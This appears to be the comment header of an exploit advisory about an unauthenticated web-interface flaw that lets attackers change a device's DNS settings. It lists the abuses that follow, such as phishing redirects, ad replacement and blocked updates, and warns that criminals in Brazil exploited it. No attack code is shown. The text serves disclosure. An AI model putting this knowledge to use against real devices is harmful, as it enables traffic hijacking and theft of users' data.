  #
  #Description:
  #The vulnerability exist in the web interface, which is 
  #accessible without authentication. 
  #
  #Once modified, systems use foreign DNS servers,which are 
  #usually set up by cybercriminals. Users with vulnerable 
  #systems or devices who try to access certain sites are 
  #instead redirected to possibly malicious sites.
  #
  #Modifying systems' DNS settings allows cybercriminals to 
  #perform malicious activities like:
  #
  #oSteering unknowing users to bad sites: 
  # These sites can be phishing pages that 
  # spoof well-known sites in order to 
  # trick users into handing out sensitive 
  # information.
  #
  #oReplacing ads on legitimate sites: 
  # Visiting certain sites can serve users 
  # with infected systems a different set 
  # of ads from those whose systems are 
  # not infected.
  # 
  #oControlling and redirecting network traffic: 
  # Users of infected systems may not be granted 
  # access to download important OS and software 
  # updates from vendors like Microsoft and from 
  # their respective security vendors.
  #
  #oPushing additional malware: 
  # Infected systems are more prone to other 
  # malware infections (e.g., FAKEAV infection).
  #
  #Warning:
  #My first public report on such a serious 
  #vulnerability was ignored by the manufacturers 
  #and were committed serious criminal deeds of 
  #cybercriminals in Brasil. This vulnerability 
  #could affect millions of users worldwide.
